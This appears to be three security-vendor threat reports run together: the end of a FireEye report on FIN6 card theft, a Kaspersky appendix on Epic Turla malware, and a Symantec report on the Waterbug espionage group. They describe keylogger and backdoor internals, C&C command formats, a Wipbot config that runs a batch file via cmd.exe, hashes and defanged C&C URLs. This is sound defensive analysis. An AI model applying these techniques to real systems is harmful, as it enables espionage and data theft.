The malware first creates mutexes named m_number3 and MuTex-Check and exits if either already exists.
The malware then continuously iterates over the current process listing and examines the memory space of each process.
Processes with module names less than five characters are skipped, along with some specific process names that are unlikely to contain payment card information.
TRINITY logs captured data to disk, typically to a file in WINDIR\temp or WINDIR\help.
The malware encodes the data with a simple substitution cipher and single-byte XOR using the OxAA key.
SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 8 FIGURE 2 : NETWORK DIAGRAM SHOWING FIN6 PLINK SSH TUNNEL USED TO ROUTE RDP TRAFFIC TO VICTIM COMPUTERS ATTACKER CnC SERVER VICTIM 1 HOST ATTACKER CnC SERVER ATTACKER CnC SERVER VICTIM 2 VICTIM 3 VICTIM 4 PLINK TUNNEL RDP TUNNEL RDP FOLLOWING THE MONEY Using iSIGHT Partners collected intelligence, we discovered that the stolen payment card data from these intrusions were sold in an underground card shop.
This particular shop is advertised on multiple underground cyber crime forums and has offered diverse criminals access to millions of stolen payment cards on a regular basis.
This closes the loop on the lifecycle of cyber criminal activity and exemplifies one of the final stages of cyber crime actors monetizing their stolen data.
We have identified stolen data from several of FIN6s victims being sold by this vendor as far back as 2014.
This connection means that data UNDERGROUND CARD SHOPS stolen by FIN6 has almost certainly ended up in the hands of fraud operators across the world, as they buy and exploit payment cards from the underground shop.
In each case, the stolen data began appearing in the shop within six months of the FIN6 breach.
While the amount of data sold through the shop varies by breach, in some cases more than 10 million cards associated with a specific FIN6-linked breach have been identified on the shop.
After being posted, much of the stolen card data is quickly purchased for exploitation.
Along with the data we have linked to FIN6, this underground shop has sold data from millions of other cards, which may be linked to breaches perpetrated by other threat actors.
SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 9 Our analysis of the data sold through this underground vendor indicates that FIN6s compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses.
SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 10 Our analysis of the data sold through this underground vendor indicates that FIN6s compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses.
For instance, in one FIN6-linked breach the vendor was advertising nearly than 20 million cards.
These cards were predominantly from the United States and selling for an average of 21.
So the total return for the shop if all the data was sold at full price  could have been about 400 million.
In reality, the shop would typically only make a fraction of this figure since not all the data would be sold (laundering stolen cards is typically much harder than stealing them), buyers want the newest data they can get (data that has been on the shop for a while loses its value) and the shop offers discounts based on various criteria.
Still, a fraction of 400 million is a significant sum.
In turn, cyber criminals purchasing the data would expect to make more than they paid for the cards by conducting fraudulent transactions using those cards.
Not all of the data sold on this particular card shop has been tied to an identified compromise or specific cyber criminal group.
Additionally, as is often the case with prominent cyber criminal vendors, it is not yet clear how the operators of the underground site are linked to the actors who steal the data the shop sells.
The vendor has sold large amounts of card data with varied characteristics, so it is possible the shop operators maintain relationships with more than one data provider.
FIN6 members could include some of the operators behind this shop alternately, FIN6 could be selling stolen data to the operators of this site.
UNDERGROUND COMMUNITIES DEALING IN STOLEN CARD DATA EXIST ACROSS THE world and are a major facilitator of money laundering operations.
A large number of these communities take the form of illicit e-commerce sites called card shops or dump shops (criminals refer to stolen card-present transaction data as dumps).
These shops allow their clientele to use a web-based platform to sort through data on thousands or millions of payment cards and purchase exactly the types they want based on their money laundering capabilities.
These data are then added to the clients cart for checkout, similar to a legitimate website.
Subsequently, customers use the card information they have purchased for many different money laundering schemes, such as buying and reselling gift cards or electronics.
Good threat intelligence comes from a combination of factors.
It requires visibility into the threat landscape, including both a broad view (the ability to identify activity across a range of countries, industries and organizations) and a deep view (the ability to gather detailed information about how threat actors operate).
It also requires skilled analysts who are able to review, fuse and understand the available data.
In this case, the combined intelligence from FireEye, Mandiant and iSIGHT intelligence teams was able to not only identify malicious activity aimed at stealing payment card data, but also provide a detailed window into that activity from compromise through monetization of the stolen data.
The story of FIN6 shows how real-world threat actors operate, providing a glimpse not only into the technical details of the compromise, but also into the human factor as well namely, the interactions between different criminals or criminal groups, and how it is not just data being bartered or sold in the underground, but also tools, credentials and access.
CONCLUSION SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 11 FireEye, Inc. 1440 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300 / 877.FIREEYE (347.3393) / infoFireEye.com www.
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FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
SP.FIN6.EN-US.042016 To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/reports.html mailto:info40FireEye.com?subject http://www.
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The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros Kaspersky Lab Global Research and Analysis Team Version 1.0 August 6, 2014 2 TLP: Green For any inquire please contact intelreportskaspersky.com Technical appendix: malware samples and indicators of compromise (IOC) A. Keylogger module File name: varies MD5: a3cbf6179d437909eb532b7319b3dafe Compilation timestamp: 2012.10.02 10:51:50 (GMT) Compiler: Microsoft Visual Studio 2010 File format: PE32 DLL Exports: _LowLevelKeyboardProc12 Creates the log file: TEMP\DFD3O8.tmp.
If failed, tries to write to the file f:\keyhook.log Each time the keylogger starts, it appends the following header to the log file: -------------------------------------------------------------------------------- New Session: fully qualified computer name timestamp -------------------------------------------------------------------------------- It then creates a hidden console window and registers its only export _LowLevelKeyboardProc12 as a hook procedure for low-level keyboard input events (WH_KEYBOARD_LL hook).
Depending on the results, it writes a line to its log file.
In case the hook was installed, the line is Started..., else LoadLibrary path to its file failed, error code.
It also starts a thread that retrieves the current foreground window handle every 100 milliseconds.
This handle is then used in the keyboard hook procedure.
The low-level keyboard hook procedure intercepts WM_KEYDOWN, WM_KEYUP and WM_ SYSKEYDOWN system messages and writes information about each keystroke to the log file.
Every time a new window becomes active, it retrieves its name and the path to its application and writes this information to the log file: [path to the applications executable file: window title] 3 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com B.
The Epic/Tavdig/Wipbot backdoor (Main backdoor module) Analyzed file (others are similar): Compilation timestamp: 2013.10.15 10:43:09 (GMT) File format: PE32 DLL, modified (the file is supposed to be started by a custom loader) Exports: 1000837F: ModuleStart 100083A9: ModuleStop 100083BB: start The main functionality is implemented in a single function that is called by the DllMain entry point.
The exported functions allow to call the same function directly (exported as start) or to start/stop it in a separate thread (ModuleStart/ModuleStop) and with slightly different parameters.
This indicates the backdoor can also function as a plugin for the Turla Carbon system.
The main function executes in an infinite loop.
It collects most of the available information about the system, transmits it to the CC server and executes the commands it receives back.
The module delays execution for random periods while it discovers running processes with one of the following filenames: tcpdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe dsniff.exe The following system information is collected: 1.
Hardware information.
Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ SystemInformation, value names: SystemManufacturer, SystemProductName.
All registry subkeys of the key HARDWARE\DESCRIPTION\System\CentralProcessor, value name: ProcessorNameString.
Available system memory status, total/free.
2.
OS version information the newest version known to it is Windows 7 / 2008R2.
Unidentified versions are marked as not support this version of Windows.
3.
Computer name (ComputerNamePhysicalDnsFullyQualified).
4 TLP: Green For any inquire please contact intelreportskaspersky.com 4.
User name, local group name.
5.
Common directory names: system, current, temporary directories.
6.
Additional system information: System and user language settings User locale information: country name, current date, time zone.
Uptime 7.
Disk space information for all available logical drives.
8.
List of available network shares.
9.
List of all user accounts, privilege classes, time of the last logon.
10.
List of current IPV4 TCP connections and UDP listeners.
11.
Information about installed Windows updates from the file WINDOWS\SoftwareDistribution\ReportingEvents.log.
12.
Detailed list of running processes and their owners.
13.
List of all window titles.
14.
Directory listing of available logical drives and of the directories: Desktop TEMP WINDOWS\Temp The retrieved information is compressed using bzip2, encrypted with AES and then encoded using Base64 before being transmitted to the CC server.
When there is a file waiting for upload (usually, this is file that contains the results of the previously received and executed command), it is read from disk and uploaded to the server instead of the system information.
The CC communication is implemented on top of the standard HTTP/HTTPS protocols.
The list of the CC URLs is hardcoded in the binary but may be overridden by further commands.
CC server communication cycle 5 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The module uses Wininet API functions for issuing HTTP POST requests to the server.
The module transmits the collected information in the body of the POST request and gets new commands from the servers response.
The request body can be empty if there is no new information to upload.
The response is usually an HTML document and the commands are Base64-encoded strings enclosed in div//div tags.
Every command is encrypted using asymmetric encryption with temporary AES session keys.
Each command is a mixed text/binary buffer.
It consists of two parts: payload and configuration.
The configuration is an INI file that controls the further behavior of the module.
It is extracted into a temporary file named TEMP\Drandom.tmp.
The payload, if exists, is supposed to be an executable file and may be executed if there is a corresponding command present in the INI part.
The format of the decoded command is the following: Available commands are: Name Description exe Execute a command, redirect its output to the file TEMP\Drandom.tmp.
The file is then uploaded during the next CC communication cycle.
down Change the CC URL to a given value.
del_task Delete a file.
result Set the filename that is supposed to contain the results of command execution.
Effectively, any existing file may be marked for upload by this command.
Format of the CC command buffer 6 TLP: Green For any inquire please contact intelreportskaspersky.com Name Description delete Mark the file TEMP\tmp085.dat to be deleted on reboot.
name Set the filename to be deleted or created (depends on other parameters) 7 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com C. Malware samples Lateral movement tools: a3cbf6179d437909eb532b7319b3dafe - custom keylogger 1369fee289fe7798a02cde100a5e91d8 - UPX compressed dnsquery.exe c0c03b71684eb0545ef9182f5f9928ca - dnsquery.exe Epic/Tavdig backdoors: 4dc22c1695d1f275c3b6e503a1b171f5 111ed2f02d8af54d0b982d8c9dd4932e 7731d42b043865559258464fe1c98513 24b354f8cfb6a181906ceaf9a7ec28b0 fdba4370b60eda1ee852c6515da9da58 3ab3d463575a011dfad630da154600b5 a347af5cc3c5429911e5167b2d30e1ac 6b207521c9175d2274ba3debcc700a1d cb264c9efa566f41975a3cebf903efb5 e9c0d32a15a24b1110fcc18ab04a6738 d102e873971aa4190a809039bc789e4d d7ca9cf72753df7392bfeea834bcf992 - dropped by the Java CVE-2012-1723 exploits 42b7b0bd4795fc8e336e1f145fc2d27c ab686acde338c67bec8ab42519714273 8e90d8b68a053d22b54fb39f1cf01a41 d22b0ec4e9b2302c07f38c835a78148a 764d643e5cdf3b8d4a04b50d0bc44660 d31f1d873fa3591c027b54c2aa76a52b ea1c266eec718323265c16b1fdc92dac bc2eff0a1544e74462e7377cf0de5a36 d22b0ec4e9b2302c07f38c835a78148a 86f28e8d9d6bda11abcf93b76074b311 d28661163ae91848e01a733836bfe0aa 09b7f890ccded1a6210119df8a9a08f9 5c4a51ce7aa76579616a01a0a3cfab38 aa58167c57cac1bc562c77766ca249f5 3a785ede87bfbd2c1c29887e9c36c801 7731d42b043865559258464fe1c98513 0e441602449856e57d1105496023f458 8 TLP: Green For any inquire please contact intelreportskaspersky.com Dropper packages that installs both Epic and Turla Carbon system: c7617251d523f3bc4189d53df1985ca9 - Postanovlenie apelljacionnoj instancii.scr 0f76ef2e6572befdc2ca1ca2ab15e5a1 - Opredelenie.scr PDF exploits used in spearphishing attacks drops Epic backdoor: 6776bda19a3a8ed4c2870c34279dbaa9 - Note_107-41D.pdf dba209c99df5e94c13b1f44c0f23ef2b - unknown.
PDF f44b1dea7e56b5eac95c12732d9d6435 - unknown.
PDF 4c65126ae52cadb76ca1a9cfb8b4ce74 - unknown.
PDF SCR/EXE files - used in spearphishing/social engineering: 4d667af648047f2bd24511ef8f36c9cc - NATO position on Syria.scr ab686acde338c67bec8ab42519714273 - Russia position on Syria.scr 1c3634c7777bd6667936ec279bac5c2a - Talking Points.scr 80323d1f7033bf33875624914a6a6010 - Program.scr 77083b1709681d43a1b0503057b6f096 - Security protocol.scr 01a15540481f28163e7b4908034efbe3 - unknown.exe (WorldCupSec ) 6a24071fde3b5d713c58801dcdd62044 - unknown.exe (WorldCupSec ) 626955d20325371aca2742a70d6861ab - unknown.exe (TadjMakhal) 16eba8e5f0440a213935e1af4976d801 - unknown.exe (RussiaPositions) 0c35a8f9f9b6ab2f7e3b4408abc61f73 - pdfview.exe d685403d000f8f6b25a6746f6f05a51c - winword.exe Fake Adobe Flash Player Epic backdoor installers: 7c52c340ec5c6f57ef2fd174e6490433 - adobe_flash_player.exe 030f5fdb78bfc1ce7b459d3cc2cf1877 - Shockwave_Flash_Player.exe Fake Microsoft Security Essentials Quick Scan Epic backdoor installer 89b0f1a3a667e5cd43f5670e12dba411 Turla Carbon Pfinet backdoors e9580b6b13822090db018c320e80865f - Pfinet backdoor 071d3b60ebec2095165b6879e41211f2 - Pfinet backdoor 9 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Turla Carbon package cb1b68d9971c2353c2d6a8119c49b51f Related Turla sample module 626576e5f0f85d77c460a322a92bb267 Java Exploits used in waterhole attacks 536eca0defc14eff0a38b64c74e03c79 f41077c4734ef27dec41c89223136cf8 15060a4b998d8e288589d31ccd230f86 e481f5ea90d684e5986e70e6338539b4 21cbc17b28126b88b954b3b123958b46 acae4a875cd160c015adfdea57bd62c4 10 TLP: Green For any inquire please contact intelreportskaspersky.com D. Epic CC Server URLs (hacked sites used as 1st level proxies): hxxp://losdivulgadores[.
]com/wp-content/plugins/wp-themes/ hxxp://gspersia[.
]com/first/fa/components/com_sitemap/ hxxp://blog.epiccosplay[.
]com/wp-includes/sitemap/ hxxp://gofree[.
]ir/wp-content/plugins/online-chat/ hxxp://homaxcompany[.
]com/components/com_sitemap/ hxxp://www.hadilotfi[.
]com/wp-content/themes/profile/ hxxp://mortezanevis[.
]ir/wp-content/plugins/wp-static/ hxxp://ncmp2014[.
]com/modules/mod_feed/feed/ hxxp://mebroad[.
]com/wp-content/gallery/posters/img/ hxxp://gruenerenate[.
]de/wp-content/plugins/bbpress/includes/lang/ hxxp://www.arshinmalalan[.
]com/themes/v6/templates/css/in.php hxxp://products.parentsupermarket[.
]com/phpMyAdmin/ hxxp://c-si[.
]ir/includes/ hxxp://mkiyanpoor[.
]ir/wp-includes/ hxxp://www.massage-ketsch[.
]de/wp-includes/ hxxp://onereliablesource[.
]com/wp-content/plugins/sitemap/ hxxp://petrymantenimiento[.
]com/wp-content/plugins/wordpress-form-manager/lang/ hxxp://ohsoverydarling[.
]com/wp-content/themes/verification/ hxxp://poissonnerieantoine[.
]com/web/wp-content/themes/titan/view/ hxxp://www.gholghola[.
]com/azemashoorhost/smarty/tmpl/ hxxp://www.saglikdetay[.
]com/wp-includes/images/icons/ hxxp://www.entesharati[.
]com/wp-content/plugins/edd-paginate/ hxxp://iranabad[.
]com/sarzamin/cms/application/classess/plugins/ hxxp://deltateam[.
]ir/components/com_sitemap/ hxxp://akva-clean[.
]ru/typo3temp/ hxxp://discontr[.
]com/wp-content/themes/twentytwelve/ hxxp://curaj[.
]net/pepeni/images/ hxxp://executrek[.
]org/components/com_sitemap/ hxxp://amoodgostar[.
]com/wp-content/themes/simplebanner/ hxxp://gayamore[.
]com/gallery/090607/ hxxp://www.automation-net[.
]ru/typo3temp/ hxxp://www.lacitedufleuve[.
]com/Connections1/ hxxp://www.aspit[.
]sn/administrator/modules/mod_feed/ 11 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com E. Intermediary level proxies (hacked sites used as 2nd/3rd level): hxxp://masterciw[.
]com/ hxxp://khrn[.
]tk/wp-includes/ hxxp://pradlolux[.
]cz/system/helper/ hxxp://original-key[.
]com/catalog/controller/payment/ hxxp://www.noraci[.
]com/wp-includes/ hxxp://tuvpr[.
]com/backup/wp-includes/ hxxp://www.boshraamin[.
]com/wp-includes/ hxxp://www.bestjob[.
]my/system/modules/comments/ hxxp://rollinghillsfitness[.
]com/wp-includes/ 12 TLP: Green For any inquire please contact intelreportskaspersky.com F. Motherships, hosting Epic Control panels and exploits hxxp://avg-update.sytes[.
]net/ hxxp://newsforum.servehttp[.
]com/ hxxp://newsweek.servehttp[.
]com/ hxxp://adobe.faqserv[.
]com/ hxxp://cqcount.servehttp[.
]com/ hxxp://easycounter.sytes[.
]net/ hxxp://newsweek.serveblog[.
]net/ hxxp://image.servepics[.
]com/ hxxp://bgl.serveftp[.
]net/
SECURITY RESPONSE Waterbug uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims.
The Waterbug attack group Security Response Version 1.0  January 22, 2015, 14:00 GMT The Waterbug attack group CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Vectors .......................................................................... 5 Spear-phishing ........................................................ 5 Venom distribution network  .................................. 6 Malware ....................................................................... 10 Trojan.
Wipbot ........................................................ 10 Trojan.
Turla ............................................................ 11 Conclusion ................................................................... 13 Appendix ..................................................................... 15 Injection attack analysis ....................................... 15 PluginDetect library .............................................. 15 Exploits .................................................................. 17 Trojanized applications ......................................... 17 Trojan.
Turla variants .............................................. 18 Detection guidance ............................................... 20 Waterbug tools ...................................................... 29 Additional exploits used ........................................ 30 Samples ................................................................. 31 Trojan.
Turla CC servers ....................................... 42 Waterbug is a cyberespionage group that uses sophisticated malware to systematically target government-related entities in a range of countries.
The group uses highly-targeted spear-phishing and watering-hole attack campaigns to target victims.
The group has also been noted for its use of zero-day exploits and signing its malware with stolen certificates.
Once the group gains a foothold, it shifts focus to long-term persistent monitoring tools which can be used to exfiltrate data and provide powerful spying capabilities.
Symantec has tracked the development of one such tool, Trojan.
Turla, and has identified four unique variants being used in the wild.
OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid2014-011316-1921-99 INTRODUCTION Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries.
Page 5 The Waterbug attack group Introduction Waterbug is the name given to the actors who use the malware tools Trojan.
Wipbot (also known as Tavdig and Epic Turla) and Trojan.
Turla (also known as Carbon, Uroburos, and Snake).
Believed to have been active since at least 2005, it is likely that the group was responsible for the 2008 compromise of US Central Command that reportedly resulted in a clean-up operation that lasted almost 14 months.
More recently, Waterbug used a zero-day exploit against the Microsoft Windows Kernel NDProxy.sys Local Privilege Escalation Vulnerability (CVE-2013-5065), targeted emails, stolen certificates, and a sophisticated watering-hole distribution network known as Venom to compromise its victims.
Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries.
Targets include government institutions, embassies, and education and research facilities.
The malware used on victims computers, variants of Trojan.
Turla and Trojan.
Wipbot, are likely developed by or for the Waterbug group.
Trojan.
Turla has four different sub-versions, something that may indicate professional development with code shared among multiple teams.
Because of the targets chosen, the use of at least one zero-day exploit, a large network of compromised websites, and the advanced nature of the malware used, Symantec believes that Waterbug is a state-sponsored group.
Vectors Symantec have observed two techniques used by the Waterbug group to compromise victims: the use of highly targeted emails containing malicious attachments and a set of compromised websites which ultimately deliver a malicious payload.
Spear-phishing In December 2013, Symantec identified several spear-phishing attacks against specific individuals.
The emails used in the attacks contained a malicious Adobe Reader attachment.
The attachment used one zero-day exploit against the Adobe Acrobat and Reader ToolButton Object Use- After-Free Remote Code Execution Vulnerability (CVE-2013-3346) to elevate privileges and a second patched exploit (CVE-2013-5065) to drop Trojan.
Wipbot on the targets computer.
This was the first time Symantec had observed this group use a zero-day exploit in the wild.
The majority of the emails observed in this spear-phishing attack Figure 1.
Example targeted email containing malicious PDF that drops Trojan.
Wipbot http://www.symantec.com/security_response/writeup.jsp?docid2013-112916-3733-99 http://www.securityfocus.com/bid/63971 http://www.securityfocus.com/bid/63971 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 http://www.securityfocus.com/bid/62149 Page 6 The Waterbug attack group followed a common theme using subjects such as Defence Attach Q1 meetings or Sochi 2014 Winter Olympics.
Attachments were distributed as Adobe Reader attachments or executable files using an Adobe Reader icon.
Venom distribution network Since at least September 2012, Symantec has identified 84 websites compromised by the Waterbug group.
The chosen websites receive visitors of potential interest to the attackersthis is an example of a watering-hole attack.
However, unlike traditional watering-hole attacks, where all visitors to a particular website are targeted indiscriminately, in the case of the Venom network used by the Waterbug group, the attackers use a more deliberate approach.
This is done in a multi-staged fashion by firstly redirecting visitors to another malicious server.
On the malicious server, a fingerprinting script is executed and this extracts configuration information from the users computer related to installed bowser plugins (Adobe Reader, Silverlight, Java, Flash etc.
).
The attackers also collect basic system and network information, such operating system version, type, browser version, and internet protocol (IP) address.
At this point, the attackers have enough information to determine if the visitor is of further interest.
When an IP address of interest is identified, such as one associated with a government institution, they proceed to create a rule specific to that IP address.
This rule ensures that the next time the visitor arrives on the compromised website their computer may be sent a malicious payload instead of just being fingerprinted.
One of the techniques that the attackers used to install the malicious payload is to attempt the installation of a Trojanized version of Adobe Shockwave.
This malicious installer contains Trojan.
Wipbot.
Similarly, Symantec has also observed packages which have been used to drop both Trojan.
Turla and Trojan.
Wipbot.
It is believed that Trojan.
Turla is also dropped in tandem with Trojan.
Wipbot in order to provide multiple communication channels as a failsafe when interacting with the compromised computer.
Symantec has also observed the attackers using Trojan.
Wipbot to download updated versions of Trojan.
Turla after initial infection.
Once the attackers have gained a foothold in the network, they use Trojan.
Turla to collect and exfiltrate data to a first-tier proxy.
This tier is comprised of legitimate, but compromised, websites.
In a similar fashion, data is relocated from the first-tier proxy to a second-tier proxy server under the control of the attackers.
This is done to increase the complexity of the attackers infrastructure and to make it more difficult to identify.
Figure 2.Trojanized Shockwave installer package Page 7 The Waterbug attack group Compromised websites (watering holes) Symantec telemetry suggests the Venom network consists of 84 compromised domains (websites).
These compromised websites are located in many different countries and were used in a watering-hole style operation in which the attackers monitored and filtered visitors to those websites and focused on the ones of interest for further action.
The collection of compromised websites acted like a drag net designed to gather potential targets of interest.
Symantecs telemetry showed that thousands of computers visited the compromised websites between 2012 and 2014.
Figure 3 shows how many visitors visited the compromised websites and as a result, were redirected to another malicious server for fingerprinting.
This is an indicator of how many computers were caught up in the net and were scrutinized by the Waterbug attackers.
The actual number of computers that became infected with Wipbot and Turla was a much smaller subset.
During our observations, the number of compromised computers increased over time, with a noticeable spike in November, 2013.
This spike coincided with an increase in traffic being redirected by the compromised websites to the malicious server.
This increase in throughput may have come about because of an increase in the number of compromised websites in use.
Where are the compromised websites?
The watering-hole websites used by the Waterbug group are located in many different countries.
The greatest number of compromised websites is found in France (19 percent), Germany (17 percent), Romania (17 percent), and Spain (13 percent).
Figure 3.
Number of redirected computers between September 2012 and May 2014 Page 8 The Waterbug attack group Common vector Analysis of the compromised websites shows that the majority of them used a common content- management system (CMS) known as TYPO3.
Moreover, a number of compromised websites also resided on the same net block linked to a number of hosting providers.
These hosting providers websites promote the use of CMS-type tools, including TYPO3, as blogging platforms included in their hosting packages.
Industry breakdown The compromised websites were further categorized based on their respective industries.
The majority of compromised websites were government related (26 percent).
The list included embassies, ministries of foreign affairs, and other government institutions.
Publishing and media websites (23 percent) were also used by the attackers.
In this case, the majority of compromised publishing websites were local news and broadcasting companies.
Despite the range and number of websites compromised and set up as watering holes, the attackers were only interested in a very specific subset of the users who actually visited these websites.
In effect, the collection of compromised websites acted as a net, much like a fishing net trawling for fish in the ocean.
In this case, the net is set up so that unwanted catches are allowed to escape unscathed but the ones of interest were redirected (based on their source IP address) to deliver the payload of Wipbot or Turla or both.
Figure 5.
Compromised sites categorized by industry Figure 4.
Top ten countries with compromised websites (watering holes) Whether compromised by a targeted email attack or by browsing to an infected website... Trojan.
Turla or Trojan.
Wipbot is installed onto the victims computer.
MALWARE Page 10 The Waterbug attack group Malware Whether compromised by a targeted email attack or by browsing to an infected website on the Venom network, in both cases either Trojan.
Turla or Trojan.
Wipbot is installed onto the victims computer.
Trojan.
Wipbot Trojan.
Wipbot was first identified by Symantec in December, 2013 being distributed by a highly-targeted spear-phishing campaign.
Later, additional samples, including Trojanized Shockwave installers signed with a stolen certificate, were also observed being distributed by the Venom network.
Trojan.
Wipbot is a downloader with limited back door functionality.
Trojan.
Wipbot has the ability to execute arbitrary commands and additional downloaded components on the infected computer.
This is done through the use of a task file.
Task files consist of several sections.
The first section is the command number or ID, followed by the payload size, the payload itself, and an associated configuration script.
The payload size is used by Trojan.
Wipbot to allocate the correct amount of memory in order to store the binary.
The payload can be an executable file (.exe or .dll) or a Windows batch script.
In the majority of cases, Symantec has observed the attackers downloading batch files in order to perform reconnaissance activities on the infected network such as the collection of network and domain-specific information and login credentials to mount shares and move laterally across the network.
A configuration script is also supplied by the attackers, which specifies the location of the file, supplied arguments, and where resultant data should be written to.
The following example also instructs Trojan.
Wipbot to delete the script after execution.
[
CONFIG] name  C:\windows\temp\wincpt.bat arg  cmd.exe /c c:\windows\temp\wincpt.bat result  c:\windows\Temp\DMR0861.dat delete  yes The collected data is later retrieved by the attackers using additional tools.
Links between Trojan.
Wipbot and Trojan.
Turla Symantec has confirmed several links tying Trojan.
Wipbot and Trojan.
Turla to the same group through sample analysis and telemetry.
Trojan.
Wipbot contains an embedded component known as Down.dll.
The header of the component has been stripped.
The DLL itself has an export function which matches those used in Trojan.
Turla samples (ModuleStart, ModuleStop).
In Trojan.
Wipbot, a Linear Congruential Generator (LCG) is used as part of the malwares communication protocol, specifically for encryption.
Generally an LCG is used as part of a pseudo-random number generator (PRNG) in an encryption algorithm.
However, in Trojan.
Wipbots case, it uses the LCG to perform the encryption instead.
Symantec has not observed LCG used for encryption of communications before.
Remnants of LCG code used for encryption are also present in Trojan.
Turla, specifically the same c-constant value and modulus.
Both Trojan.
Wipbot and Trojan.
Turla also share a similar code structure in terms of decryption algorithms.
Both use an array of characters which are stored directly on the stack followed by a simple XOR operation by a shared constant.
Finally, Symantec has observed Trojan.
Wipbot downloading Trojan.
Turla onto compromised computers.
Figure 6.
Example of Trojan.
Wipbot task file structure http://en.wikipedia.org/wiki/Linear_congruential_generator Page 11 The Waterbug attack group Trojan.
Turla In 2008, a malware incident was reported to have affected the US Central Command Network.
The incident was the direct result of an infected removable drive that was connected to a computer on the network, which executed an autorun file launching a malicious DLL file stored on the drive.
This was dubbed the BTZ Incident and was considered one of the worst breaches of US military computers in history.
The malware, which Symantec called Trojan.
Minit (also known as Agent.
BTZ), had the ability to spread through a network, gather sensitive information, and exfiltrate data to a remote command-and-control (CC) server.
Since then, multiple links have been established between Trojan.
Minit and recent samples of Trojan.
Turla.
The most infamous link is the use of a shared XOR key across these two families.
This key has been used by the attackers to encrypt log data and has also been used in a number of custom tools used by the Waterbug group.
Trojan.
Turla is an extremely persistent, sophisticated malware, professionally developed with extensible capabilities and used exclusively by the Waterbug group.
Trojan.
Turla is built from a framework that is designed for long-term monitoring of targeted individuals or organizations and has been in operation since at least 2005.
Both 32-bit and 64-bit samples have been identified in use in the wild.
Analysis has determined that Trojan.
Turla is essentially an extensible platform which appears to share common components between variants through the use of a common framework.
Symantec has identified four unique variants of Trojan.
Turla, all of which use shared components.
Details on the relationships between the variants are discussed in the following section.
Variants Symantec has identified four unique variants of Trojan.
Turla which have been in development between 2005 and 2014.
ComRAT is a direct descendant of the Agent.
BTZ malware that was in use in 2008.
Development of this variant has continued and recent samples, compiled in 2013, have been identified.
The earliest variant of FA (so named because of debug strings linking to project fa64) was compiled in 2005.
Figure 7.
Variants of Trojan.
Turla identified by Symantec http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html http://www.symantec.com/security_response/writeup.jsp?docid2005-010722-5132-99 Page 12 The Waterbug attack group This variant has seen continuous development from 2009 to 2014.
Carbon is the most unique of all four variants.
Carbon is distributed in two forksa driver-based version (rootkit) and a driver-less version.
Early variants of Carbon were identified in 2007, 2008, and 2009.
The majority of Carbons code has received minor incremental updates seen in recent samples identified in 2014.
The most closely related variant to Carbon is SAV.
SAV (also known as Uroburos) is a recent variant of Trojan.
Turla which has been in development since at least 2011 and has received incremental updates through to 2014.
Analysis of these variants shows common code structures, shared components, and a continuous development which has run in parallel since at least 2005.
Relationships The identified cases of code sharing are usually within specific sub-modules, such as IDT Hooking, or within helper code.
An examination of features from the Carbon and FA drivers in this section illustrates this.
The relationship between Carbon and SAV is more complex and will be described separately.
Carbon and SAV When Carbon was first developed, the driver-based and driver-less forks used a custom communication module which supported multiple protocols including Transmission Control Protocol (TCP), Named Pipes (NP), and Multipoint-to-Point (M2P).
When SAV first appeared in 2011, it was based on the driver-based fork of Carbon.
However, injected components were significantly changed or possibly rewritten.
Shared features included the communication module.
This suggests that SAV is derived from Carbon.
FA, Carbon, and SAV In June 2007, Carbon drivers already included the use of specific error code values which may have originally been implemented as part of the communication channel code.
FA Drivers introduced the use of these error code values between August, 2008 and December, 2009 as part of a major refactoring effort.
Additionally, FA and SAV also shared a custom packer used exclusively by the Waterbug group.
By 2009, FA had begun using the custom packer for user-mode components.
Carbon did not use the packer in any of the collected samples, whereas SAV used the packer for multiple components.
These relationships indicate that features were developed separately, and later migrated to other projects.
This sharing may be due to copying parts of source code (possibly entire folders) between independently developed projects.
Page 13 The Waterbug attack group Shared features The driver-based column indicates rootkit functionality such as that found in Carbon and SAV.
The driver-less column indicates the use of user-mode API hooking.
An encrypted file system was also found in two of the variants, Carbon and SAV.
This is an NTFS file, encrypted using 128-bit CAST in CBC mode.
In other variants, a directory structure was used and encryption was performed using simple byte-by-byte XOR encryption (using the same key used in Agent.
BTZ).
Code sharing shows trace evidence or remnants of code from earlier versions still present in recent samples.
One such example is the use of LCG and associated constant values in the decryption algorithm.
Conclusion Waterbug is a capable group that is highly skilled in compromising its targets and has systematically targeted governments and embassies since as early as 2005.
The continued development of the tools used by Waterbug suggests that the group has made a significant investment in time and resources.
This coupled with the selected targets and the advanced nature of the malware used suggests that Waterbug is most likely a state-sponsored group whose motive is intelligence gathering.
Figure 8.
Shared features across Trojan.
